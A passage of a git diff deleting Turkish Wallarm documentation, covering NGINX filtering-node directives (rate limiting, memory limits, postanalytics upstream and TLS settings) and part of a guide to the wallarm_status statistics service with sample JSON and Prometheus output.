wallarm_proton_log_mask_master - -NGINX master sürecinin hata ayıklama günlükleme ayarları. - -!!! warning "Direktifin kullanımı" - Direktifi yalnızca bir Wallarm destek ekibi üyesi tarafından yapmanız istenirse yapılandırmanız gerekir. Size direktif ile kullanılacak değeri sağlayacaklardır. - -!!! info - Parametre yalnızca main seviyesinde yapılandırılabilir. - - -### wallarm_proton_log_mask_worker - -NGINX worker süreci için hata ayıklama günlükleme ayarları. - -!!! warning "Direktifin kullanımı" - Direktifi yalnızca bir Wallarm destek ekibi üyesi tarafından yapmanız istenirse yapılandırmanız gerekir. Size direktif ile kullanılacak değeri sağlayacaklardır. - -!!! info - Parametre yalnızca main seviyesinde yapılandırılabilir. - -### wallarm_protondb_path - -Uygulama yapısından bağımsız olan istek filtrelemesi için global ayarları içeren [proton.db](../about-wallarm/protecting-against-attacks.md#basic-set-of-detectors) dosyasının yolu. - -!!! info - Bu parametre http, server ve location blokları içinde ayarlanabilir. - - **Varsayılan değer**: - - * Docker NGINX tabanlı imaj, bulut imajları, NGINX Node all-in-one yükleyici ve Native Node kurulumları için `/opt/wallarm/etc/wallarm/proton.db` - * Diğer kurulum ürünleri için `/etc/wallarm/proton.db` - -### wallarm_rate_limit - -Oran sınırlama yapılandırmasını aşağıdaki formatta ayarlar: - -``` -wallarm_rate_limit rate= burst= delay=; -``` - -* `KEY_TO_MEASURE_LIMITS_FOR` - sınırları ölçmek istediğiniz anahtar. Metin, [NGINX değişkenleri](http://nginx.org/en/docs/varindex.html) ve bunların kombinasyonunu içerebilir. - - Örneğin: `/login` uç noktasına yönelik ve aynı IP’den kaynaklanan istekleri sınırlamak için `"$remote_addr +login"`. -* `rate=` (gerekli) - oran limiti, `rate=r/s` veya `rate=r/m` olabilir. -* `burst=` (isteğe bağlı) - belirtilen RPS/RPM aşıldığında tamponlanacak ve oran normale döndüğünde işlenecek aşırı isteklerin maksimum sayısı. Varsayılan `0`. -* `delay=` - `` değeri `0`’dan farklıysa, tamponlanan aşırı isteklerin yürütülmesi arasında tanımlanan RPS/RPM’in korunup korunmayacağını kontrol edebilirsiniz. `nodelay`, tüm tamponlanan aşırı isteklerin oran limiti gecikmesi olmadan eşzamanlı işlenmesini belirtir. Sayısal değer, belirtilen sayıda aşırı isteğin eşzamanlı işlenmesini, diğerlerinin ise RPS/RPM’de ayarlanan gecikmeyle işlenmesini ifade eder. - -Örnek: - -``` -wallarm_rate_limit "$remote_addr +location_name" rate=10r/s burst=9 delay=5; -``` - -!!! info - **Varsayılan değer:** yok. - - Bu parametre http, server, location bağlamlarında ayarlanabilir. - - [Oran sınırlama](../user-guides/rules/rate-limiting.md) kuralını ayarlarsanız, `wallarm_rate_limit` direktifi daha düşük önceliğe sahiptir. - -### wallarm_rate_limit_enabled - -Wallarm oran sınırlamayı etkinleştirir/devre dışı bırakır. - -`off` ise, ne [oran sınırlama kuralı](../user-guides/rules/rate-limiting.md) (önerilen) ne de `wallarm_rate_limit` direktifi çalışır. - -!!! info - **Varsayılan değer:** `on` ancak Wallarm oran sınırlama, [oran sınırlama kuralı](../user-guides/rules/rate-limiting.md) (önerilen) veya `wallarm_rate_limit` direktifi yapılandırılmadan çalışmaz. - - Bu parametre http, server, location bağlamlarında ayarlanabilir. - -### wallarm_rate_limit_log_level - -Oran sınırlama kontrolü tarafından reddedilen isteklerin günlüğe kaydedilme seviyesi. Şunlar olabilir: `info`, `notice`, `warn`, `error`. - -!!! info - **Varsayılan değer:** `error`. - - Bu parametre http, server, location bağlamlarında ayarlanabilir. - -### wallarm_rate_limit_status_code - -Wallarm oran sınırlama modülü tarafından reddedilen isteklere yanıt olarak döndürülecek kod. - -!!! info - **Varsayılan değer:** `503`. - - Bu parametre http, server, location bağlamlarında ayarlanabilir. - -### wallarm_rate_limit_shm_size - -Wallarm oran sınırlama modülünün tüketebileceği maksimum paylaşımlı bellek miktarını ayarlar. - -Ortalama anahtar uzunluğu 64 bayt (karakter) ve `wallarm_rate_limit_shm_size` 64MB iken, modül aynı anda yaklaşık 130.000 benzersiz anahtarı işleyebilir. Belleğin iki katına çıkarılması modülün kapasitesini doğrusal olarak iki katına çıkarır. - -Bir anahtar, modülün limitleri ölçmek için kullandığı bir istek noktasının benzersiz değeridir. Örneğin, modül bağlantıları IP adreslerine göre sınırlıyorsa, her benzersiz IP adresi tek bir anahtar olarak kabul edilir. Varsayılan direktif değeriyle, modül yaklaşık 130.000 farklı IP’den gelen istekleri aynı anda işleyebilir. - -!!! info - **Varsayılan değer:** `64m` (64 MB). - - Bu parametre yalnızca http bağlamı içinde ayarlanabilir. - -### wallarm_request_chunk_size - -Bir iterasyon sırasında işlenen istek parçasının boyutunu sınırlar. `wallarm_request_chunk_size` direktifine bir tamsayı atayarak bayt cinsinden özel bir değer belirleyebilirsiniz. Direktif ayrıca aşağıdaki son ekleri destekler: -* kilobayt için `k` veya `K` -* megabayt için `m` veya `M` -* gigabayt için `g` veya `G` - -!!! info - Bu parametre http, server ve location blokları içinde ayarlanabilir. - **Varsayılan değer**: `8k` (8 kilobayt). - -### wallarm_request_memory_limit - -Tek bir isteğin işlenmesi için kullanılabilecek maksimum bellek miktarı için bir limit ayarlayın. - -Limit aşılırsa, istek işleme kesilir ve kullanıcı 500 hatası alır. - -Bu parametrede aşağıdaki sonekler kullanılabilir: -* kilobayt için `k` veya `K` -* megabayt için `m` veya `M` -* gigabayt için `g` veya `G` - -`0` değeri limiti kapatır. - -Varsayılan olarak, limitler kapalıdır. - -!!! info - Bu parametre http, server ve/veya location blokları içinde ayarlanabilir. - - -### wallarm_srv_include - -[API Specification Enforcement](../api-specification-enforcement/overview.md) için yapılandırma dosyasının yolunu belirtir. Bu dosya varsayılan olarak tüm dağıtım ürünlerine dahil edilmiştir ve genellikle değişiklik gerekmez. - -Ancak, [özel bir `nginx.conf` ile NGINX tabanlı Docker imajı](installation-docker-en.md#run-the-container-mounting-the-configuration-file) kullanıyorsanız, bu direktifi belirtmeli ve dosyayı belirtilen yola yerleştirmelisiniz. - -Direktif 4.10.7 sürümünden itibaren kullanılabilir. - -!!! info - Parametre yalnızca http bloğu içinde yapılandırılır. - - **Varsayılan değer**: `/etc/nginx/wallarm-apifw-loc.conf;`. - -### wallarm_stalled_worker_timeout - -Bir NGINX worker için tek bir isteğin işlenmesi için zaman sınırını saniye cinsinden ayarlar. - -Zaman sınırı aşılırsa, NGINX worker’ları hakkında veriler `stalled_workers_count` ve `stalled_workers` [istatistik](configure-statistics-service.md#usage) parametrelerine yazılır. - -!!! info - Bu parametre http, server ve location blokları içinde ayarlanabilir. - - **Varsayılan değer**: `5` (beş saniye) - -### wallarm_status - -[Wallarm istatistik hizmetinin](configure-statistics-service.md) çalışmasını kontrol eder. - -Direktif değeri aşağıdaki formata sahiptir: - -``` -wallarm_status [on|off] [format=json|prometheus]; -``` - -`wallarm_status` direktifini diğer NGINX kurulum dosyalarında kullanmaktan kaçınarak, istatistik hizmetini kendi dosyasında yapılandırmanız şiddetle önerilir, çünkü ikincisi güvensiz olabilir. `wallarm-status` için yapılandırma dosyası şurada bulunur: - -* all-in-one yükleyici için `/etc/nginx/wallarm-status.conf` -* diğer kurulumlar için `/etc/nginx/conf.d/wallarm-status.conf` - -Ayrıca, varsayılan `wallarm-status` yapılandırmasının mevcut satırlarından herhangi birini değiştirmemeniz şiddetle tavsiye edilir, çünkü bu, metrik veri yüklemesini Wallarm cloud’a bozabilir. - -!!! info - Direktif, NGINX’in `server` ve/veya `location` bağlamında yapılandırılabilir. - - `format` parametresinin varsayılan değeri `json`’dur. - -### wallarm_tarantool_upstream - -!!! warning "`wallarm_tarantool_upstream` adını `wallarm_wstore_upstream` olarak değiştirin" - NGINX Node sürüm 6.x ve sonrasında, bu parametre, mantığında herhangi bir değişiklik olmaksızın [`wallarm_wstore_upstream`](#wallarm_wstore_upstream) olarak [yeniden adlandırılmıştır](../updating-migrating/what-is-new.md#replacing-tarantool-with-wstore-for-postanalytics). - - Geriye dönük uyumluluk bir kullanım dışı uyarısı ile korunur, ancak eski direktif kaldırıldığında gelecekteki hatalardan kaçınmak için yeniden adlandırma önerilir. Uyarı örneği: - - ``` - 2025/03/04 20:43:04 [warn] 3719#3719: "wallarm_tarantool_upstream" directive is deprecated, use "wallarm_wstore_upstream" instead in /etc/nginx/nginx.conf:19 - ``` - -### wallarm_timeslice - -Bir filtreleme düğümünün bir isteği işlemeye ayırdığı süre sınırı; süre dolduğunda düğüm sıradaki bir sonraki isteği işlemeye geçer. Zaman sınırına ulaşıldığında, filtreleme düğümü kuyruktaki bir sonraki isteği işlemeye geçer. Kuyruktaki her istekte birer iterasyon gerçekleştirdikten sonra, düğüm kuyruktaki ilk istekte ikinci iterasyonu gerçekleştirir. - -Direktife farklı zaman birimi değerleri atamak için [NGINX belgelerinde](https://nginx.org/en/docs/syntax.html) açıklanan zaman aralığı soneklerini kullanabilirsiniz. - -!!! info - Bu parametre http, server ve location blokları içinde ayarlanabilir. - **Varsayılan değer**: `0` (tek iterasyon için zaman limiti devre dışıdır). - ------ - -!!! warning - NGINX sunucu sınırlamaları nedeniyle, `wallarm_timeslice` direktifinin çalışması için `proxy_request_buffering` NGINX direktifine `off` değeri atanarak istek tamponlamasının devre dışı bırakılması gerekir. - -### wallarm_ts_request_memory_limit - -!!! warning "Direktif kullanımdan kaldırıldı" - Wallarm düğümü 4.0’dan itibaren, lütfen bunun yerine [`wallarm_general_ruleset_memory_limit`](#wallarm_general_ruleset_memory_limit) direktifini kullanın. Sadece direktif adını değiştirin, mantığı değişmedi. - -### wallarm_unpack_response - -Uygulama yanıtında döndürülen sıkıştırılmış verilerin sıkıştırmasının açılıp açılmayacağı. Olası değerler `on` (sıkıştırma açma etkin) ve `off` (sıkıştırma açma devre dışı). - -Bu parametre yalnızca `wallarm_parse_response on` ise etkilidir. - -!!! info - **Varsayılan değer**: `on`. - - -### wallarm_upstream_backend - -Seri hale getirilmiş isteklerin gönderilmesi için yöntem. İstekler ya wstore’a ya da API’ye gönderilebilir. - -Direktifin olası değerleri: -* `wstore` -* `api` - -Diğer direktiflere bağlı olarak, varsayılan değer aşağıdaki şekilde atanır: -* Yapılandırmada `wallarm_api_conf` direktifi yoksa `wstore`. -* Yapılandırmada `wallarm_api_conf` direktifi var ancak `wallarm_wstore_upstream` direktifi yoksa `api`. - - !!! note - `wallarm_api_conf` ve `wallarm_wstore_upstream` direktifleri yapılandırmada aynı anda bulunursa, **directive ambiguous wallarm upstream backend** biçiminde bir yapılandırma hatası oluşur. - -!!! info - Bu parametre yalnızca http bloğu içinde ayarlanabilir. - - -### wallarm_upstream_connect_attempts - -wstore veya Wallarm API’ye yapılacak anlık tekrar bağlanma denemelerinin sayısını tanımlar. -wstore veya API’ye bağlantı kesilirse, tekrar bağlanma denemesi gerçekleşmez. Ancak, başka bağlantı kalmadığında ve seri hale getirilmiş istek kuyruğu boş olmadığında bu durum geçerli değildir. - -!!! note - Yeniden bağlanma başka bir sunucu üzerinden gerçekleşebilir, çünkü sunucu seçimi “upstream” alt sistemi tarafından yapılır. - - Bu parametre yalnızca http bloğu içinde ayarlanabilir. - - -### wallarm_upstream_reconnect_interval - -`wallarm_upstream_connect_attempts` eşiğini aşan başarısız denemelerden sonra wstore veya Wallarm API’ye yeniden bağlanma denemeleri arasındaki aralığı tanımlar. - -!!! info - Bu parametre yalnızca http bloğu içinde ayarlanabilir. - - -### wallarm_upstream_connect_timeout - -wstore veya Wallarm API’ye bağlanma için zaman aşımını tanımlar. - -!!! info - Bu parametre yalnızca http bloğu içinde ayarlanabilir. - - -### wallarm_upstream_queue_limit - -Seri hale getirilmiş istek sayısına bir sınır tanımlar. -`wallarm_upstream_queue_limit` parametresinin aynı anda ayarlanması ve `wallarm_upstream_queue_memory_limit` parametresinin ayarlanmaması, ikincisi için bir sınır olmayacağı anlamına gelir. - -!!! info - Bu parametre yalnızca http bloğu içinde ayarlanabilir. - - -### wallarm_upstream_queue_memory_limit - -Seri hale getirilmiş isteklerin toplam hacmine bir sınır tanımlar. -`wallarm_upstream_queue_memory_limit` parametresinin aynı anda ayarlanması ve `wallarm_upstream_queue_limit` parametresinin ayarlanmaması, ikincisi için bir sınır olmayacağı anlamına gelir. - -!!! info - **Varsayılan değer:** `100m`. - - Bu parametre yalnızca http bloğu içinde ayarlanabilir. - -### wallarm_wstore_upstream - -NGINX-Wallarm modülünün [ayrı postanalytics modülüne](installation-postanalytics-en.md) nasıl bağlanacağını tanımlar: postanalytics sunucu upstream’i ve SSL/TLS bağlantı ayarları. - -Sözdizimi: - -``` -wallarm_wstore_upstream ssl=on|off skip_host_check=on|off insecure=on|off; -``` - -* `` - postanalytics modül adresine işaret eden upstream bloğunun adı. -* `ssl` (6.2.0 sürümünden itibaren kullanılabilir) — [postanalytics modülüne bağlantı için SSL/TLS’i](installation-postanalytics-en.md#ssltls-and-mtls-between-the-nginx-wallarm-module-and-the-postanalytics-module) etkinleştirir veya devre dışı bırakır. Kabul edilen değerler: `on` veya `off`. - - Varsayılan olarak `off`. - - `on` olarak ayarlanırsa, ayrıca şu ayarların yapılması gerekir: - - * [`wallarm_wstore_ssl_cert_file`](#wallarm_wstore_ssl_cert_file) - * [`wallarm_wstore_ssl_key_file`](#wallarm_wstore_ssl_key_file) - * [`wallarm_wstore_ssl_ca_cert_file`](#wallarm_wstore_ssl_ca_cert_file) -* `skip_host_check` (6.2.0 sürümünden itibaren, yalnızca `ssl=on` ise) - TLS el sıkışması sırasında ana bilgisayar adı doğrulamasını atlar. - - Common Name (CN) eşleşmeyen bir sertifika ile localhost veya bir IP adresine bağlanırken kullanışlıdır. Üretimde önerilmez. -* `insecure` (6.2.0 sürümünden itibaren, yalnızca `ssl=on` ise) - tam sertifika doğrulamasını (CA ve ana bilgisayar adı kontrolleri dahil) devre dışı bırakır. - - Yalnızca self-signed veya geçici sertifikalar kullanılırken geliştirme veya test ortamlarında kullanın. - -Örnek: - -``` -upstream wallarm_wstore { - server 1.1.1.1:3313 max_fails=0 fail_timeout=0 max_conns=1; - keepalive 1; -} - -# omitted - -wallarm_wstore_upstream wallarm_wstore ssl=on; -``` - -!!! info "Postanalytics için upstream yapılandırması" - Postanalytics modülü için `upstream` bloğunda (`wallarm_wstore_upstream` direktifi tarafından referans verilen), aşağıdaki [standart upstream ayarlarını](https://nginx.org/en/docs/http/ngx_http_upstream_module.html) yapılandırabilirsiniz: - - * Postanalytics modülünün IP adresi ve portu - * `max_fails` - * `fail_timeout` - * `max_conns` - aşırı bağlantı oluşturmayı önlemek için her upstream wstore sunucusu için belirtilmelidir - * `keepalive` - wstore sunucularının sayısından düşük olmamalıdır - -!!! info - Parametre yalnızca http bloğu içinde yapılandırılır. - -### wallarm_wstore_ssl_cert_file - -NGINX-Wallarm modülü tarafından postanalytics modülüne SSL/TLS bağlantısı kurulurken kendini doğrulamak için kullanılan istemci sertifikasının yolunu belirtir. - -Bu direktif, NGINX-Wallarm ve ayrı sunuculara kurulmuş postanalytics modülleri için [karşılıklı TLS (mTLS)](installation-postanalytics-en.md#mutual-tls-mtls) etkinleştirildiğinde gereklidir. - -Direktif 6.2.0 sürümünden itibaren kullanılabilir. - -``` -wallarm_wstore_ssl_cert_file /path/to/client.crt; -``` - -!!! info - Parametre yalnızca http bloğu içinde yapılandırılır. - -### wallarm_wstore_ssl_key_file - -[`wallarm_wstore_ssl_cert_file`](#wallarm_wstore_ssl_cert_file) ile sağlanan istemci sertifikasına karşılık gelen özel anahtarın yolunu belirtir. - -Bu direktif, NGINX-Wallarm ve ayrı sunuculara kurulmuş postanalytics modülleri için [karşılıklı TLS (mTLS)](installation-postanalytics-en.md#mutual-tls-mtls) etkinleştirildiğinde gereklidir. - -Direktif 6.2.0 sürümünden itibaren kullanılabilir. - -``` -wallarm_wstore_ssl_key_file /path/to/client.key; -``` - -!!! info - Parametre yalnızca http bloğu içinde yapılandırılır. - -### wallarm_wstore_ssl_ca_cert_file - -[Postanalytics modülü tarafından sunulan TLS sertifikasını](installation-postanalytics-en.md#ssltls-connection-to-the-postanalytics-module) doğrulamak için kullanılan güvenilir bir Sertifika Yetkilisi (CA) sertifikasının yolunu belirtir. - -Özel bir CA tarafından verilmiş bir sertifika kullanan bir sunucuya bağlanırken gereklidir. - -Direktif 6.2.0 sürümünden itibaren kullanılabilir. - -``` -wallarm_wstore_ssl_ca_cert_file /path/to/ca.crt; -``` - -!!! info - Parametre yalnızca http bloğu içinde yapılandırılır. \ No newline at end of file diff --git a/docs/latest-tr/admin-en/configure-statistics-service.md b/docs/latest-tr/admin-en/configure-statistics-service.md deleted file mode 100644 index d581505513..0000000000 --- a/docs/latest-tr/admin-en/configure-statistics-service.md +++ /dev/null @@ -1,468 +0,0 @@ -[doc-configure-kubernetes]: configure-kubernetes-en.md -[link-prometheus]: https://prometheus.io/ -[gl-lom]: ../glossary-en.md#custom-ruleset-the-former-term-is-lom -[doc-selinux]: ../troubleshooting/detection-and-blocking.md#filtering-node-rps-and-aps-values-are-not-exported-to-cloud - -# İstatistik Hizmeti - -Wallarm [NGINX veya Native](../installation/nginx-native-node-internals.md) düğüm istatistiklerini `wallarm_status` hizmetini kullanarak elde edebilirsiniz. Bu makale, hizmetin nasıl yapılandırılacağını ve kullanılacağını açıklar. - -!!! info "Native düğüm istatistik hizmeti" - [Native](../installation/nginx-native-node-internals.md#native-node) düğümler için `wallarm_status` hâlâ mevcut olsa da eski (legacy) bir hizmettir. Esas olan, `curl localhost:9000/metrics` ile erişilebilen `metrics` hizmetidir (Native düğüm yapılandırmasındaki ["metrics"](../installation/native-node/all-in-one-conf.md#metricsenabled) parametrelerine bakın). - -## Kurulum - -!!! warning "Önemli" - - `wallarm_status` yönergesinin diğer NGINX kurulum dosyalarında kullanılmasından kaçınarak istatistik hizmetini kendi dosyasında yapılandırmanız şiddetle önerilir, çünkü ilki güvensiz olabilir. `wallarm-status` için yapılandırma dosyası şuralarda bulunur: - - * All-in-one yükleyici için `/etc/nginx/wallarm-status.conf` - * Diğer kurulumlar için `/etc/nginx/conf.d/wallarm-status.conf` - - Ayrıca, varsayılan `wallarm-status` yapılandırmasının mevcut satırlarından hiçbirini değiştirmemeniz şiddetle tavsiye edilir. - -Yönergeyi kullanırken, istatistikler JSON formatında veya [Prometheus][link-prometheus] ile uyumlu bir formatta verilebilir. Kullanım: - -``` -wallarm_status [on|off] [format=json|prometheus]; -``` - -!!! info - Yönerge `server` ve/veya `location` bağlamında yapılandırılabilir. - - `format` parametresi, NGINX tabanlı Docker imajı hariç çoğu dağıtım seçeneğinde varsayılan olarak `json` değerine sahiptir; uç nokta `/wallarm-status` kapsül dışından çağrıldığında metrikleri Prometheus formatında döndürür. - -### Varsayılan yapılandırma - -Varsayılan olarak, filtre düğümü istatistik hizmeti en güvenli yapılandırmaya sahiptir. `/etc/nginx/conf.d/wallarm-status.conf` (All-in-one yükleyici için `/etc/nginx/wallarm-status.conf`) yapılandırma dosyası aşağıdaki gibidir: - -``` -server { - listen 127.0.0.8:80; - server_name localhost; - - allow 127.0.0.8/8; # Filtre düğümü sunucusunun loopback adresleri için erişim mevcuttur - # NGINX tabanlı Docker konteynerı çalıştırılıyorsa: - # allow 127.0.0.0/8; - deny all; - - wallarm_mode off; - disable_acl "on"; # İstek kaynaklarının kontrolü devre dışı, yasaklı listedeki IP'lerin wallarm-status hizmetine istek göndermesine izin verilir. https://docs.wallarm.com/admin-en/configure-parameters-en/#disable_acl - wallarm_enable_apifw off; - access_log off; - - location /wallarm-status { - wallarm_status on; - } -} -``` - -### İstatistik istemesine izin verilen IP adreslerini sınırlandırma - -`wallarm_status` yönergesini yapılandırırken, istatistik isteyebileceğiniz IP adreslerini belirleyebilirsiniz. Varsayılan olarak, Wallarm'ın kurulu olduğu sunucudan yalnızca `127.0.0.1` ve `::1` IP adresleri üzerinden istek yapılmasına izin verilir, diğer tüm yerlerden erişim reddedilir. - -Başka bir sunucudan isteğe izin vermek için: - -=== "All-in-one yükleyici" - 1. `/etc/nginx/wallarm-status.conf` dosyasında, yapılandırmaya hedef sunucunun IP adresini içeren `allow` yönergesini ekleyin. Örneğin: - - ```diff - ... - server_name localhost; - - allow 127.0.0.8/8; - + allow 10.41.29.0; - ... - ``` - 1. Ayarlar değiştirildikten sonra değişiklikleri uygulamak için NGINX'i yeniden başlatın: - - --8<-- "../include/waf/restart-nginx-4.4-and-above.md" -=== "Docker imajı" - * Docker konteynerını yalnızca [ortam değişkenlerini geçirerek](installation-docker-en.md#run-the-container-passing-the-environment-variables) çalıştırıyorsanız, izin verilen CIDR'ları `WALLARM_STATUS_ALLOW` ortam değişkeninde geçirin. - * Docker konteynerını [yapılandırma dosyalarını mount ederek](installation-docker-en.md#run-the-container-mounting-the-configuration-file) çalıştırıyorsanız: - - 1. `allow` yönergesinde belirtilen izinli adreslerle `wallarm-status.conf` dosyasını hazırlayın, örn.: - - ```diff - server { - listen 127.0.0.8:80; - - server_name localhost; - - allow 127.0.0.0/8; - + allow 10.41.29.0; - deny all; - - wallarm_mode off; - disable_acl "on"; - wallarm_enable_apifw off; - access_log off; - - location ~/wallarm-status$ { - wallarm_status on; - } - } - ``` - - 1. Konteyner çalıştırılırken hazırlanan dosyayı konteyner içinde `/etc/nginx/conf.d/wallarm-status.conf` yoluna mount edin. - -=== "AWS veya GCP makine imajı" - 1. `/etc/nginx/conf.d/wallarm-status.conf` dosyasında, yapılandırmaya hedef sunucunun IP adresini içeren `allow` yönergesini ekleyin. Örneğin: - - ```diff - ... - server_name localhost; - - allow 127.0.0.8/8; - + allow 10.41.29.0; - ... - ``` - 1. Ayarlar değiştirildikten sonra değişiklikleri uygulamak için NGINX'i yeniden başlatın: - - --8<-- "../include/waf/restart-nginx-4.4-and-above.md" - -### İstatistik hizmetinin IP adresini ve/veya portunu değiştirme - -İstatistik hizmetinin IP adresini ve/veya portunu değiştirmek için aşağıdaki talimatları izleyin. - -=== "All-in-one yükleyici" - 1. `/etc/nginx/wallarm-status.conf` dosyasını açın ve `listen` yönergesinde yeni hizmet adresini belirtin. - 1. Değişiklikleri uygulamak için NGINX'i yeniden başlatın: - - --8<-- "../include/waf/restart-nginx-4.4-and-above.md" -=== "Docker imajı" - * [NGINX tabanlı Docker imajında](installation-docker-en.md) yalnızca istatistik hizmetinin varsayılan portunu değiştirmek için, konteynerı `NGINX_PORT` değişkenini yeni porta ayarlayarak başlatın. Başka değişiklik gerekmez. - * Hem IP adresini hem de portu değiştirmek için: - - 1. `listen` yönergesinde yeni adres belirtilmiş şekilde `wallarm-status.conf` dosyasını hazırlayın: - - ``` - server { - listen 127.0.0.8:80; - - server_name localhost; - - allow 127.0.0.8/8; - # NGINX tabanlı Docker konteynerı çalıştırılıyorsa: - # allow 127.0.0.0/8; - deny all; - - wallarm_mode off; - disable_acl "on"; - wallarm_enable_apifw off; - access_log off; - - location ~/wallarm-status$ { - wallarm_status on; - } - } - ``` - - 1. Konteyner çalıştırılırken hazırlanan dosyayı konteyner içinde `/etc/nginx/conf.d/wallarm-status.conf` yoluna mount edin. -=== "AWS veya GCP makine imajı" - 1. `/etc/nginx/conf.d/wallarm-status.conf` dosyasını açın ve `listen` yönergesinde yeni hizmet adresini belirtin. - 1. Değişiklikleri uygulamak için NGINX'i yeniden başlatın: - - --8<-- "../include/waf/restart-nginx-4.4-and-above.md" - -Filtre düğümü ana makinesinde SELinux kuruluysa, SELinux'un [yapılandırıldığından veya devre dışı bırakıldığından][doc-selinux] emin olun. Basit olması için bu doküman, SELinux'un devre dışı olduğunu varsayar. - -Yukarıdaki ayarlar uygulandıktan sonra yerel `wallarm-status` çıktısının sıfırlanacağını unutmayın. - -### Prometheus formatında istatistik alma - -Çoğu dağıtım seçeneği varsayılan olarak istatistikleri JSON formatında döndürür. NGINX tabanlı Docker imajı bir istisnadır; `/wallarm-status` uç noktası kapsül dışından çağrıldığında metrikleri Prometheus formatında döndürür. - -Varsayılanı JSON olan düğüm dağıtım seçeneklerinden Prometheus formatında istatistik almak için: - -1. `/etc/nginx/conf.d/wallarm-status.conf` dosyasına (All-in-one yükleyici için `/etc/nginx/wallarm-status.conf`) aşağıdaki yapılandırmayı ekleyin: - - - ```diff - ... - - location /wallarm-status { - wallarm_status on; - } - - + location /wallarm-status-prometheus { - + wallarm_status on format=prometheus; - + } - - ... - ``` - - !!! warning "Varsayılan `/wallarm-status` yapılandırmasını silmeyin veya değiştirmeyin" - Lütfen `/wallarm-status` konumunun varsayılan yapılandırmasını silmeyin veya değiştirmeyin. Bu uç noktanın varsayılan çalışması kritik önemdedir. -1. Değişiklikleri uygulamak için NGINX'i yeniden başlatın: - - --8<-- "../include/waf/restart-nginx-4.4-and-above.md" -1. Prometheus metriklerini almak için yeni uç noktayı çağırın: - - ```bash - curl http://127.0.0.8/wallarm-status-prometheus - ``` - -## Kullanım - -Filtre düğümü istatistiklerini almak için, izin verilen IP adreslerinden birinden (yukarıya bakın) bir istek yapın: - -=== "JSON formatında istatistikler" - ``` - curl http://127.0.0.8/wallarm-status - ``` - - Sonuç olarak aşağıdaki tipte bir yanıt alacaksınız: - - ```json - { - "requests": 0, - "streams": 0, - "messages": 0, - "attacks": 0, - "blocked": 0, - "blocked_by_acl": 0, - "acl_allow_list": 0, - "abnormal": 0, - "tnt_errors": 0, - "api_errors": 0, - "requests_lost": 0, - "overlimits_time": 0, - "segfaults": 0, - "memfaults": 0, - "softmemfaults": 0, - "proton_errors": 0, - "time_detect": 0, - "db_id": 73, - "lom_id": 102, - "custom_ruleset_id": 102, - "custom_ruleset_ver": 51, - "db_apply_time": 1598525865, - "lom_apply_time": 1598525870, - "custom_ruleset_apply_time": 1598525870, - "proton_instances": { - "total": 3, - "success": 3, - "fallback": 0, - "failed": 0 - }, - "stalled_workers_count": 0, - "stalled_workers": [], - "ts_files": [ - { - "id": 102, - "size": 12624136, - "mod_time": 1598525870, - "fname": "/etc/wallarm/custom_ruleset" - } - ], - "db_files": [ - { - "id": 73, - "size": 139094, - "mod_time": 1598525865, - "fname": "/etc/wallarm/proton.db" - } - ], - "startid": 1459972331756458216, - "timestamp": 1664530105.868875, - "rate_limit": { - "shm_zone_size": 67108864, - "buckets_count": 4, - "entries": 1, - "delayed": 0, - "exceeded": 1, - "expired": 0, - "removed": 0, - "no_free_nodes": 0 - }, - "split": { - "clients": [ - { - "client_id": null, - "requests": 78, - "streams": 0, - "messages": 0, - "attacks": 0, - "blocked": 0, - "blocked_by_acl": 0, - "overlimits_time": 0, - "time_detect": 0, - "applications": [ - { - "app_id": 4, - "requests": 78, - "streams": 0, - "messages": 0, - "attacks": 0, - "blocked": 0, - "blocked_by_acl": 0, - "overlimits_time": 0, - "time_detect": 0 - } - ] - } - ] - } - } - ``` -=== "Prometheus formatında istatistikler" - ``` - curl http://127.0.0.8/wallarm-status-prometheus - ``` - - Adres farklı olabilir, lütfen gerçek adres için `/etc/nginx/conf.d/wallarm-status.conf` dosyasını (All-in-one yükleyici için `/etc/nginx/wallarm-status.conf`) kontrol edin. - - Sonuç olarak aşağıdaki tipte bir yanıt alacaksınız: - - - ``` - # HELP wallarm_requests istek sayısı - # TYPE wallarm_requests gauge - wallarm_requests 2 - # HELP wallarm_streams istek sayısı - # TYPE wallarm_streams gauge - wallarm_streams 0 - # HELP wallarm_messages istek sayısı - # TYPE wallarm_messages gauge - wallarm_messages 0 - # HELP wallarm_attacks saldırı isteklerinin sayısı - # TYPE wallarm_attacks gauge - wallarm_attacks 0 - # HELP wallarm_blocked engellenen isteklerin sayısı - # TYPE wallarm_blocked gauge - wallarm_blocked 0 - # HELP wallarm_blocked_by_acl ACL tarafından engellenen isteklerin sayısı - # TYPE wallarm_blocked_by_acl gauge - wallarm_blocked_by_acl 0 - # HELP wallarm_acl_allow_list izin listesi tarafından geçirilen istekler - # TYPE wallarm_acl_allow_list gauge - wallarm_acl_allow_list 0 - # HELP wallarm_abnormal anormal isteklerin sayısı - # TYPE wallarm_abnormal gauge - wallarm_abnormal 2 - # HELP wallarm_tnt_errors wstore yazma hatalarının sayısı - # TYPE wallarm_tnt_errors gauge - wallarm_tnt_errors 0 - # HELP wallarm_api_errors API yazma hatalarının sayısı - # TYPE wallarm_api_errors gauge - wallarm_api_errors 0 - # HELP wallarm_requests_lost kaybedilen isteklerin sayısı - # TYPE wallarm_requests_lost gauge - wallarm_requests_lost 0 - # HELP wallarm_overlimits_time overlimits_time sayısı - # TYPE wallarm_overlimits_time gauge - wallarm_overlimits_time 0 - # HELP wallarm_segfaults ayrışma (segmentation fault) sayısı - # TYPE wallarm_segfaults gauge - wallarm_segfaults 0 - # HELP wallarm_memfaults sanal bellek limitine ulaşılan olayların sayısı - # TYPE wallarm_memfaults gauge - wallarm_memfaults 0 - # HELP wallarm_softmemfaults istek bellek limitine ulaşılan olayların sayısı - # TYPE wallarm_softmemfaults gauge - wallarm_softmemfaults 0 - # HELP wallarm_proton_errors libproton ile ilgili bellek dışı libproton hata olaylarının sayısı - # TYPE wallarm_proton_errors gauge - wallarm_proton_errors 0 - # HELP wallarm_time_detect_seconds tespit için harcanan süre - # TYPE wallarm_time_detect_seconds gauge - wallarm_time_detect_seconds 0 - # HELP wallarm_db_id proton.db dosya kimliği - # TYPE wallarm_db_id gauge - wallarm_db_id 71 - # HELP wallarm_lom_id LOM dosya kimliği - # TYPE wallarm_lom_id gauge - wallarm_lom_id 386 - # HELP wallarm_custom_ruleset_id Özel Kurallar Dizisi dosya kimliği - # TYPE wallarm_custom_ruleset_id gauge - wallarm_custom_ruleset_id{format="51"} 386 - # HELP wallarm_custom_ruleset_ver özel kurallar dizisi dosya format sürümü - # TYPE wallarm_custom_ruleset_ver gauge - wallarm_custom_ruleset_ver 51 - # HELP wallarm_db_apply_time proton.db 